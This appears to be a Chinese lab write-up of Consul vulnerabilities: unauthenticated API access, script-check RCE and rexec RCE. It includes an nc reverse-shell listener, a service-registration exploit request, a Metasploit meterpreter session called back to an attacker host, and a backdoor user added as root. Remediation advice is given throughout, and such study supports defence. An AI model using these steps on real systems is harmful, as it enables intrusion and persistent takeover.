consul vuln

2020年10月26日 作者 C0isini

一、api 未授权访问漏洞

描述:

api 未授权访问漏洞导致远程攻击者可以在未认证的情况下访问用户界面和接口,用于收集数据、注册服务和远程访问。

常用端口:
8500

服务信息:
daap

产品信息:
mt-daapd DAAP

nmap 扫描结果:

PORT STATE SERVICE VERSION
8300/tcp open ssl/consul-rpc HashiCorp Consul RPC
8500/tcp open daap mt-daapd DAAP
8600/tcp open tcpwrapped
漏洞复现:

URL格式:

http://ip:port/v1/agent/self

实例:

http://10.222.28.12:8500/v1/agent/self

修复方案:

在不影响业务的情况下,通过 ACL 或者防火墙限制,只允许本地连接。

二、Hashicorp Consul Service API远程命令执行漏洞

在特定配置下使用特殊的 HTTP 请求,可以在未授权的情况下在 consul 服务端远程命令执行

1、漏洞详情:

consul 存在脚本检查功能,默认是关闭的,如果开启了脚本检查(-enable-script-checks=true),或者使用的是 0.9.0及之前的版本,同时 api (一般是 8500 端口的服务)可以在公网访问,就存在命令执行漏洞。

2、漏洞复现:

确认漏洞是否存在

因为是脚本检查导致的漏洞,所以确认是否存在漏洞就查看是否存在 “EnableRemoteScriptChecks”: true,如果存在就表示可能存在漏洞,具体还需要进行验证。

URL:

http://10.222.28.12:8500/v1/agent/self

3、漏洞利用

vps:10.222.28.16
consul:10.222.28.12

可以使用 nc 进行反弹 shell

vps (10.222.28.16)上监听任意端口

nc -lvp 1234

kali@kali:~$ nc -lvp 1234
listening on [any] 1234 ...

POC:

PUT /v1/agent/service/register HTTP/1.1
Host: 10.222.28.12:8500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token:
Content-type: application/json
Connection: close
Content-Length: 327

{
"ID": "bpPeMfZuAN",
"Name": "bpPeMfZuAN",
"Address":"127.0.0.1",
"Port":80,
"Check":{
"POC":POC
"interval":"10s",
"Timeout":"86400s"
}
}

返回结果为 200

稍微等一会,vps 就会收到反弹结果,如果不小心关闭了当前反弹回来的 shell 界面,不需要担心,再次监听之前的端口,会再次反弹回来,因为提交的脚本在 consul 中会定时执行。

漏洞挖掘方法:

可以同时检查是否存在 EnableRemoteScriptChecks”:true 且可以 PUT 访问 http://%s:%s/v1/agent/service/register,同时成立就大概率存在漏洞

脚本:

addr = "http://%s:%s/v1/agent/service/register" % (self.host,self.port)
data = {'ID':'bpPeMfZuAN','Name':'bpPeMfZuAN','Address':'127.0.0.1','Port':80}
data = json.dumps(data)
res = requests.put(addr,data=data)
res_code = res.status_code
addrApi = "http://%s:%s/v1/agent/self" % (self.host,self.port)
resApi = requests.get(addrApi,timeout=3, allow_redirects=False, verify=False)
resApi_code = resApi.status_code
resApi_content = resApi.text
if resApi_code == 200 and resApi_content.find('EnableRemoteScriptChecks":true') != -1 and res_code == 200:
    print("存在漏洞")

4、漏洞修复

  • 可以关闭脚本检查,-enable-script-checks=false 或者不添加这个参数,因为默认是 false 的。
  • 如果一定需要脚本检查,可以设置为本地脚本检查,即 使用 -enable-local-script-checks 这个参数。
  • 设置 http 监听地址(一般为 8500,也就是 -client参数的值)为本地,而不是 0.0.0.0 或者公网地址。
  • 启动 ACL
    https://learn.hashicorp.com/tutorials/consul/access-control-setup-production#bootstrapping-acls
  • 升级(针对 0.9.0 版本及之前版本的)

三、consul rexec RCE

1、描述

consul 的 exec 命令可以执行远程命令,命令的开启取决于 disable_remote_exec 参数,该参数从 0.8 之后的版本默认设置为 true ,也就是不存在漏洞,只有参数设置为 false ,才存在漏洞。

2、漏洞条件

disable_remote_exec 值为 false

3、配置测试环境

在 /etc/consul.d 目录下添加 base.json 文件,并添加内容

{
"disable_remote_exec": false
}

启动 agent

consul agent -server -bootstrap-expect=1 -node=agent-one -bind=10.222.28.14 -data-dir=/tmp/consul -enable-script-checks=true -config-dir=/etc/consul.d -client 0.0.0.0 -ui

访问 http://10.222.28.14:8500/v1/agent/self 查看 DisableRemoteExec 的值,如果是 false ,则表示存在漏洞

“DisableRemoteExec”:false,

4、漏洞复现

使用 msf 进行验证

加载 payload

use exploit/multi/misc/consul_rexec_exec

msf5 > use exploit/multi/misc/consul_rexec_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/misc/consul_rexec_exec) >

设置目标信息
set RHOST 10.222.28.14
set RPORT 8500

msf5 exploit(multi/misc/consul_rexec_exec) > set RHOST 10.222.28.14
RHOST => 10.222.28.14
msf5 exploit(multi/misc/consul_rexec_exec) > set RPORT 8500
RPORT => 8500

验证是否存在漏洞
check

msf5 exploit(multi/misc/consul_rexec_exec) > check
[+] 10.222.28.14:8500 - The target is vulnerable.

设置反弹 IP
set LROST 10.222.28.16

msf5 exploit(multi/misc/consul_rexec_exec) > set LROST 10.222.28.16
LROST => 10.222.28.16

设置 payload
set payload linux/x86/meterpreter/reverse_tcp

msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp

执行
run

msf5 exploit(multi/misc/consul_rexec_exec) > run


[*] Started reverse TCP handler on 10.222.28.16:4444
[*] Creating session.
[*] Got rexec session ID 4fff3b76-9fc6-bbda-b338-7bfbfa95be74
[*] Setting command for rexec session 4fff3b76-9fc6-bbda-b338-7bfbfa95be74
[*] Triggering execution on rexec session 4fff3b76-9fc6-bbda-b338-7bfbfa95be74
[*] Sending stage (980808 bytes) to 10.222.28.14
[*] Meterpreter session 1 opened (10.222.28.16:4444 -> 10.222.28.14:55958) at 2020-10-26 19:07:03 +0800
[*] Cleaning up rexec session 4fff3b76-9fc6-bbda-b338-7bfbfa95be74
[*] Command Stager progress - 100.00% done (763/763 bytes)


meterpreter >

获取到目标机器权限

meterpreter > ifconfig


Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::




Interface 2
============
Name : ens33
Hardware MAC : 00:0c:29:ef:9b:88
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 10.222.28.14
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::d7d9:d89b:41f2:d66
IPv6 Netmask : ffff:ffff:ffff:ffff::




Interface 3
============
Name : docker0
Hardware MAC : 02:42:46:57:6c:a8
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.17.0.1
IPv4 Netmask : 255.255.0.0

5、修复方案

设置 disable_remote_exec 为 true,或者增加访问限制。

参考链接:

https://github.com/rapid7/metasploit-framework/blob/3518b9465ccc8928872ef3904938111be4a74744/documentation/modules/exploit/multi/misc/consul_rexec_exec.md

拓展:

基于 meterpreter 入侵 centos7

使用 msf 获取到目标主机权限

meterpreter > cat /etc/redhat-release
CentOS Linux release 7.8.2003 (Core)

新建shell,
新建的 shell,可以正常执行linux命令
shell

meterpreter > shell
Process 1586 created.
Channel 2 created.
whoami
root

在 msf 获取到权限的界面,执行有些命令是报错的

meterpreter > user add test
[-] Unknown command: user.
meterpreter > useradd test
[-] Unknown command: useradd.

新建用户并设置密码

useradd test
echo test | passwd --stdin test
Changing password for user test.
passwd: all authentication tokens updated successfully.

新开终端测试

[test@k8s-master ~]$ who
root tty1 2020-10-27 02:43
root pts/0 2020-10-27 02:51 (10.222.28.6)
root pts/1 2020-10-27 02:55 (10.222.28.6)
test pts/2 2020-10-27 03:25 (10.222.28.6)
[test@k8s-master ~]$ whoami
test

总结

与其他小伙伴聊过,认为未授权大概率会存在 RCE 的风险。consul 的两个 RCE 漏洞,都是基于未授权的,如果没有未授权就没有 RCE 的入口,所以在使用一些开源的服务、软件的时候,还是要增加好权限验证,如果是内网使用的就直接监听在内网 IP 上;公网开放更需要增加权限认证,稍微一不小心就是 RCE 啊!!!